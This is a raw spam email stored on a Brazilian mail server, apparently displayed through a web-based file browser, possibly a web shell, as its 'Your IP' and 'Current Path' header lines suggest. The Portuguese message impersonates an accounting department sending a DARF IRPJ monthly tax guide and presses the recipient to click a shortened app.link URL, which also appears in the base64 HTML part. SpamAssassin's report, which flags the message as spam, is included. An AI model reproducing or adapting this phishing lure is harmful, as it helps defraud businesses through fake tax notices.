Your IP : 216.73.217.94
| Current Path : /home2/noxxprod/mail/new/ |
|
|
| Current File : //home2/noxxprod/mail/new/1774808221.M795396P3582920.host.sdserver127.com.br,S=6554,W=6695 |
Return-Path: <lucasbarros@node05.offervault365.com>
Delivered-To: noxxprod@host.sdserver127.com.br
Received: from host.sdserver127.com.br
by host.sdserver127.com.br with LMTP
id qKJtLp1syWnIqzYAk55skA
(envelope-from <lucasbarros@node05.offervault365.com>)
for <noxxprod@host.sdserver127.com.br>; Sun, 29 Mar 2026 15:17:01 -0300
Return-path: <lucasbarros@node05.offervault365.com>
Envelope-to: comercial@noxxproducoes.com.br
Delivery-date: Sun, 29 Mar 2026 15:17:01 -0300
Received: from node05.offervault365.com ([194.38.21.244]:35976)
by host.sdserver127.com.br with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <lucasbarros@node05.offervault365.com>)
id 1w6uh2-00FRW1-2Q
for comercial@noxxproducoes.com.br;
Sun, 29 Mar 2026 15:17:01 -0300
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=node05.offervault365.com; s=node05; t=1774808178;
bh=V5xcBIdi0RwOGxupFg5rE/ky2YblIEtye+OeNlxLDco=;
h=From:To:Subject:Date;
b=EJnBk2Yec4cugEb1ed8rYaCpBR6w4CJkElh2vy+nA9s3yIAT8KrgHa2EeRrPlYon6
rOgMfDUVJnHI7I7Eu86NLhbKBKb5uefno2cf9Ev9J5FkfunXRyqrj9MUVGA8LOSZGk
tqGVkC8rNq8KTIKjIcBwuKbeI3KfhuVPJR6DZJRDUr+moPZW0K/rUSQhu1GmgNkzip
MfWKBbPGNGcgtDEOT6X2+pWYJ7TWLV+4/DRnKqGelIrJh/4qVAbCdnjYPehXy0iwJQ
Zg3BupuMHT31jM1HBdMuGOkzEsQCJL7ld9GjAgUTp1HZ5yoo2pD1bKk2WGOk0VUoSm
ZnDMrrBken4SA==
From: =?UTF-8?B?w4lyaWNhIE1vdXJhIENvbnTDoWJpbA==?= <lucasbarros@node05.offervault365.com>
To: comercial@noxxproducoes.com.br
Date: Sun, 29 Mar 2026 15:16:18 -0300
Message-ID: <uiqqgughlxhz.1774808178637960600@node05.offervault365.com>
MIME-Version: 1.0
Content-Language: pt-BR
Content-Type: multipart/alternative; boundary="----=_ljudjrpqqjhtckpe_1774808178637960600"
X-Spam-Status: Yes, score=6.0
X-Spam-Score: 60
X-Spam-Bar: ++++++
X-Spam-Report: Spam detection software, running on the system "host.sdserver127.com.br",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Prezado(a),comercial@noxxproducoes.com.br. Segue abaixo documento
do departamento contábil: Vencimento: 05/04/2025
Content analysis details: (6.0 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: app.link]
0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS
blocklist
[URIs: node05.offervault365.com]
0.1 URIBL_SBL_A Contains URL's A record listed in the Spamhaus SBL
blocklist
[URIs: node05.offervault365.com]
1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,
https://senderscore.org/blocklistlookup/
[194.38.21.244 listed in bl.score.senderscore.com]
-3.0 RCVD_IN_VALIDITY_CERTIFIED RBL: Sender in Validity Certification
- Contact certification@validity.com
[Excessive Number of Queries | <https://knowledge.validity.com/hc/en-us/articles/20961730681243>]
-2.0 RCVD_IN_VALIDITY_SAFE RBL: Sender in Validity Safe - Contact
certification@validity.com
-0.0 SPF_PASS SPF: sender matches SPF record
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
0.5 SUBJ_ALL_CAPS Subject is all capitals
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years
2.6 RDNS_DYNAMIC Delivered to internal network by host with
dynamic-looking rDNS
-0.0 T_SCC_BODY_TEXT_LINE No description available.
1.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
0.8 HELO_DYNAMIC_DHCP Relay HELO'd using suspicious hostname (DHCP)
X-Spam-Flag: YES
Subject: ***SPAM*** =?UTF-8?B?REFSRiAtIElQSSBNRU5TQUwgNTQyMg==?=
------=_ljudjrpqqjhtckpe_1774808178637960600
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
Prezado(a),comercial@noxxproducoes.com.br.
Segue abaixo documento do departamento cont=C3=A1bil:
Vencimento:
05/04/2025
Obs:
Clique no link para acessar o arquivo.
Guia:
DARF - IRPJ MENSAL 38633 «Clique aqui para acessar»
=E2=80=94 Departamento Cont=C3=A1bil
------=_ljudjrpqqjhtckpe_1774808178637960600
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64
PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCjwvaGVhZD4NCjxib2R5IHN0
eWxlPSJmb250LWZhbWlseTpDYWxpYnJpLEFyaWFsLHNhbnMtc2VyaWY7Zm9udC1zaXplOjE0cHg7
Y29sb3I6IzMzMzsiPg0KDQo8cD5QcmV6YWRvKGEpLGNvbWVyY2lhbEBub3h4cHJvZHVjb2VzLmNv
bS5ici48L3A+DQoNCjxwPlNlZ3VlIGFiYWl4byBkb2N1bWVudG8gZG8gZGVwYXJ0YW1lbnRvIDxi
PmNvbnTDoWJpbDwvYj46PC9wPg0KDQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5n
PSIwIiBib3JkZXI9IjAiIHN0eWxlPSJtYXJnaW46MTBweCAwOyI+DQogIDx0cj4NCiAgICA8dGQ+
PGI+VmVuY2ltZW50bzo8L2I+PC90ZD4NCiAgICA8dGQ+MDUvMDQvMjAyNTwvdGQ+DQogIDwvdHI+
DQogIDx0cj4NCiAgICA8dGQ+PGI+T2JzOjwvYj48L3RkPg0KICAgIDx0ZCBzdHlsZT0iY29sb3I6
IzU1NTsiPkNsaXF1ZSBubyBsaW5rIHBhcmEgYWNlc3NhciBvIGFycXVpdm8uPC90ZD4NCiAgPC90
cj4NCjwvdGFibGU+DQoNCjxwPg0KICA8Yj5HdWlhOjwvYj4mbmJzcDsNCiAgPGEgaHJlZj0iaHR0
cHM6Ly9leGFtcGxlLmFwcC5saW5rL044T2VjSHJxVTFiIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9
ImNvbG9yOiMwNTYzQzE7Ij5EQVJGIC0gSVJQSiBNRU5TQUwgMzg2MzMgJmxhcXVvO0NsaXF1ZSBh
cXVpIHBhcmEgYWNlc3NhciZyYXF1bzs8L2E+DQo8L3A+DQoNCjxicj4NCjxwIHN0eWxlPSJmb250
LXNpemU6MTJweDtjb2xvcjojODg4OyI+4oCUIERlcGFydGFtZW50byBDb250w6FiaWw8L3A+DQoN
CjwvYm9keT4NCjwvaHRtbD4=
------=_ljudjrpqqjhtckpe_1774808178637960600--